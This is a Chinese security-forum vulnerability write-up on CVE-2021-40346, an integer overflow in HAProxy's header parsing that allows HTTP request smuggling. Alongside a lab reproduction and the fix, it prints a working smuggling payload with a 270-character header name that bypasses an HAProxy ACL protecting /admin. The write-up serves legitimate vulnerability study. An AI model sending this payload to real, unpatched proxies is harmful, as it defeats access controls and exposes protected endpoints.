问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
HAProxy请求走私漏洞(CVE-2021-40346)分析
漏洞分析
本文主要分析如何通过一个整数溢出来进行http请求走私,并构建环境复现,介绍此漏洞的利用方式与危害。
漏洞信息 ---- 在9月7号,JFrog安全研究团队发布了一个HAProxy的严重漏洞的信息。HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性、负载均衡,以及基于TCP和HTTP的应用程序代理。 HAProxy特别适用于那些负载特大的web站点,这些站点通常又需要会话保持或七层处理。HAProxy运行在当前的硬件上,完全可以支持数以万计的并发连接。并且它的运行模式使得它可以很简单安全的整合进架构中, 同时可以保护web服务器不被暴露到网络上。 此漏洞编号为[CVE-2021-40346](https://nvd.nist.gov/vuln/detail/CVE-2021-40346),是一个整数溢出漏洞,利用这个整数溢出可以造成HTTP请求走私。其造成的危害也十分严重,具体可以参考[portswigger/request-smuggling](https://portswigger.net/web-security/request-smuggling/exploiting),这里列出部分利用方式。 - 绕过安全控制,包括 HAProxy 中定义的任何 ACL - 未经授权访问敏感数据 - 执行未经授权的命令或修改数据 - 劫持用户会话 - 在没有用户交互的情况下利用反射的 XSS 漏洞 此漏洞已在 HAProxy 的 2.0.25、2.2.17、2.3.14 和 2.4.4 版本中修复,本文后面的复现将使用2.2.16版本进行测试。 请求走私 ---- http走私漏洞早在2005年就被提出,直到2019 BlackHat USA 2019上,一篇HTTP Desync Attacks: Smashing into the Cell Next Door的议题,才受到大家的关注。 在现在复杂的业务环境中,各种WAF,CDN等,当出现前端代理,和后端服务时,如果两者对RFC标准的实现并不一样,就会出现问题,HTTP走私就是在处理请求中数据的不同造成的。 下面简单一张图说下实现机制 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-931813e93a4390562c91c8a0459e57de3b294d27.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-931813e93a4390562c91c8a0459e57de3b294d27.png) 如果同时存在Transfor-Encoding和Content-Length,前端解析TE而忽略了CL,将整个黄色部分作为post body,但是后端并不这样认为,而是解析了CL,忽略了TE,那么认为post body只有4字节,所以红色部分的post body就成为了下一个请求的内容,这也就是http走私的内容。 目前可以将走私分为五种类型,具体可参考[HTTP走私](https://paper.seebug.org/1048/),CL不为0的GET请求、CL-CL、CL-TE、TE-CL、TE-TE。本文介绍的整数溢出导致的走私可以与CL-CL类似,就是含有两个Content-Length,但是通过溢出的方式解析而成。 漏洞分析 ---- 为了能够看出溢出如何发生,与怎样构造请求能够造成走私,首先需要看一下HAProxy是如何解析请求并转发到后端的。 ### 请求处理方式 #### 初始解析 首先遇到Content-Length就进行处理,并取得其后面长度,作为整个post body的长度 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-236ec7ed8d52f8de811ec4e44a2e46da49ac97f8.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-236ec7ed8d52f8de811ec4e44a2e46da49ac97f8.png) 如果出现重复的Content-Length头,那么就验证是否取值与上一个Content-Length取值相同,不同请求就会被丢弃 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-3318fb010067f4bab184cc59d199d10953f7913b.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-3318fb010067f4bab184cc59d199d10953f7913b.png) 这是Content-Length的处理方式,最终整个请求,都会被解析成htx块结构数组,这个数组中包含头部和请求体,头部处理代码为 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-a73823ce747daadf91041f972909159b0fc52d4d.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-a73823ce747daadf91041f972909159b0fc52d4d.png) 中间两行是关键代码,第二行`blk->info += (value.len << 8) + name.len;`,这里value就是请求头键值对的值,name就是请求头键值对的键,把值长度左移8位,并加上键的长度。接着来看第一行的处理 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-1bcd86c149ae123332ed7b9523bf0a8eec310ca7.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-1bcd86c149ae123332ed7b9523bf0a8eec310ca7.png) 就是将type左移28位,这个type是一个enum类型,这里是在处理header,此时type取值为`0010`,也就是2。 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-fef1aa88db15625b87d5eab681faa6985b787b88.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-fef1aa88db15625b87d5eab681faa6985b787b88.png) 这两个步骤最终结果就是,一个32位的数,高4位代表type类型,低8位代表头部键值对键的长度,中间20位代表头部键值对值的长度,这个值就是`blk->info`,通过这个值就能在请求数据块中定位到请求头并准确解析,其对应结构为 ```c * Block's info representation : 0b 0000 0000 0000 0000 0000 0000 0000 0000 ---- ------------------------ --------- type value (1 MB max) name length (header/trailer - 256B max) ---------------------------------- data length (256 MB max) (body, method, path, version, status, reason) ``` #### 主要处理 接下来的处理就是分析htx块数组,然后将解析出的请求转发到后端,这里需要注意的就是,当遇到重复的Content-Length时,会忽略除第一个外的其他Content-Length,这也是漏洞利用的一个点 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-8f0af8e2815b69320319e2b14cb7a21f0ec2bd1e.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-8f0af8e2815b69320319e2b14cb7a21f0ec2bd1e.png) ### 溢出点 我们需要回到初始解析中,在htx数据块中,假设具有一个请求头`Content-Length: 12`,其数据块中会处理掉`:`,最终`htx->data`为`Content-Length12`,为了能够在处理时分析出具体的请求头,`blk->info += (value.len << 8) + name.len`,也就是`00100000000000000000001000001110`,其中前4位为2(type)左移28位,中间20位为2(value.len)左移8位,最后8位为14(name.len)。所以在解析时直接从`blk->info`中就可以解析出,`Content-Length12`是一个请求头,前14位是key,后面2位是值。 这本来是一个没有任何问题的操作,从这个`blk-info`来看,key的长度最多只能有8位无符号数,也就是只能表示0-255,value长度是20位无符号数,也就是0-1048575,但是代码中并没有任何限制key的长度要小于256,这就导致当key的长度大于256时,此 `blk->info += (value.len << 8) + name.len;`操作中,`name.len`由于超过8位,而造成溢出,从而使`value.len`的取值也会受到影响。 ### 构造Payload 这里直接拿原文章的payload来进行分析 ```http POST /index.html HTTP/1.1 Host: abc.com Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: Content-Length: 60 GET /admin/add_user.py HTTP/1.1 Host: abc.com abc: xyz ``` 这个payload构造的十分巧妙,我们按照上述HAProxy的解析步骤来逐步分析,首先在请求头中遇到270个长度的key,`name.len=270`,其值为空`value.len=0`,接着遇到Content-Length为60就会将之后的60个字节长度作为body,也就是剩下的含有走私的内容。那么这是如何被解析成两个请求呢,对请求走私漏洞熟悉的同志都明白,如果在解析之后,能够将Content-Length取值为0,并忽略后面的Content-Length: 60,那么就可以造成走私攻击。 对于`Content-Length0a...aa:`,此行就能够完成上述的要求,首先数据被解析成`blk->data`为`Content-Length0a...aa`,接下来重点是,在解析`blk->info`时,前4位依旧是`0010`,中间20位都为`0`因为`value.len=0`,可是由于`name.len=270`,也就是`100001110`共有9位,所以在相加的时候,高位的`1`被放到了20位value的最低位,此时`blk->info`为`00100000000000000000000100001110`,这样在取请求头的时候,value的长度为`00000000000000000001`,name的长度就变成了`00001110`也就是14。 这也就解释了为什么要构造270个长度的key,因为`Content-Length`是长度为14,在溢出之后,我们想取到新的Content-Length,就需要把Content-Length放在最前面,并将name.len变为14才可以准确获取,所以选取270,在溢出后模256正好取name.len为14。接着我们需要将Content-Length的值取0,由于前面溢出后,value.len取`00000000000000000001`,此时取14位后的1位作为value的值,这也就是`Content-Length0a...aa:`在Content-Length后跟`0`的原因。这样在解析之后就获取了一个请求头为`Content-Length: 0`,接着在遇到`Content-Length: 60`时,由于已经出现了Content-Length,就会忽略这个取值60的Content-Length,这也是上面说明的漏洞利用点,虽然此时Content-Length为0,但是由于在初始解析时,由于Content-Length为60,其剩下的60个长度的body还是会被放到请求体中,最终请求变为了 ```http POST /index.html HTTP/1.1 Host: abc.com Content-Length: 0 GET /admin/add_user.py HTTP/1.1 Host: abc.com abc: xyz ``` 后端遇到此请求就解析了两个请求,这就造成了第二个请求的走私。 已经分析完成,还是很佩服这个溢出的思路,通过置空请求头的值,让中间20位全取0,然后使用270长度,正好溢出一位,将20位最低位置位1,从而控制14位后一个字节来控制Content-Length的值。 漏洞复现 ---- 为了能够更好的验证此漏洞的有效性,和展示请求走私可以带来的危害,这里复现下漏洞,并构建环境,完成走私攻击。这里主要使用攻击绕过HAProxy安全控制,访问限制信息为例。 首先搭建一个web环境作为后端服务器,这里选用gunicorn+flask简单搭建 ```python from flask import Flask app = Flask(__name__) @app.route('/guest', methods=['GET', 'POST']) def hello_world(): return 'Hello Guest!' @app.route('/admin', methods=['GET', 'POST']) def hello_world1(): return 'Hello Admin!' if __name__ == '__main__': app.run() ``` 两个路由,一个guest,一个admin,然后通过gunicorn启动 ```shell gunicorn --keep-alive 10 -k gevent --bind 0.0.0.0:5000 -w 20 main:app ``` 接着构造前端服务器,也就是漏洞环境HAProxy2.2.16 其配置文件为haproxy.cfg ```nginx global daemon defaults mode http timeout client 50000 timeout server 50000 timeout connect 50000 frontend web bind *:8000 http-request deny if { path_beg /admin } default_backend websrvs backend websrvs http-reuse always server srv1 flask:5000 ``` 注意这里使用了`http-request deny if { path_beg /admin }`,来对admin路由访问的安全限制,我们构建走私攻击就是为了突破这个安全限制,这里需要注意需要配置`http-reuse always`连接重用,这也是走私攻击能够成功的关键。 环境启动,接着我们测试ACL限制`/admin` [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-335ddd1cffa4faaed75754757eddb75ec1b96e5e.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-335ddd1cffa4faaed75754757eddb75ec1b96e5e.png) 接着我们构造走私请求 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-b5c7ba390077e9f670f6ee428b4160fd545d4aaf.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-b5c7ba390077e9f670f6ee428b4160fd545d4aaf.png) 我们可以看到直接通过走私获取了被HAProxy限制的`/admin`的内容。 这里需要解释下,23是一body中到`:`的长度,使用`h:GET`的方式是通过请求头的方式将第二个请求嵌在其中。此时对于HAProxy来说,是两个请求,第一个到`h:`,第二个是之后的内容。然而第一个请求在解析后变为了 ```http POST /guest HTTP/1.1 host: tt.donky.cn:10001 content-length: 0 GET /admin HTTP/1.1 h: ``` 对于HAProxy来说,这是一个请求解析出来的,并且请求的是`/guest`,自然不会触发ACL限制,但对于后端来说,会解析成两个请求,第二个就是走私请求访问`/admin`,所以后端会返回两个回应,但是HAProxy来说只是发了一个请求,来两个回应,所以会直接把第二个响应,当成下一个请求的响应,对于此请求来说,就是`h:`后面请求的响应,所以会直接把`/Admin`的内容返回出来。 这个我们可以通过在后端服务器上抓包来看,为了区分,所以对于HAProxy的第二个请求,请求`/another`,本来会404 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-79e2ebd6e3443c302584af3922d95bbff08b08cf.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-79e2ebd6e3443c302584af3922d95bbff08b08cf.png) 可以看到正好两个请求完成对应,`/another`请求的回应并没有出现,而是HAProxy中的走私的请求对应了第二个`/another`请求的回应,从而绕过了ACL。 漏洞复现使用docker配置的,所有代码在<https://github.com/donky16/CVE-2021-40346-POC>,可以直接部署复现,请求包在`payload`文件中,需要根据Host修改Content-Length的值。 漏洞修复 ---- 这里漏洞修复就十分简单了,只需要限制长度即可 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-70589eec934949e0d80c8666418b03e53d16710d.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-70589eec934949e0d80c8666418b03e53d16710d.png) 参考资料 ---- <https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/> <https://baike.baidu.com/item/haproxy/5825820?fr=aladdin> <https://portswigger.net/web-security/request-smuggling/exploiting> <https://paper.seebug.org/1048/> <https://github.com/haproxy/haproxy/blob/v2.5-dev4/doc/internals/htx-api.txt>
发表于 2021-09-22 11:10:02
阅读 ( 10204 )
分类:
漏洞分析
3 推荐
收藏
0 条评论
请先
登录
后评论
donky16
5 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!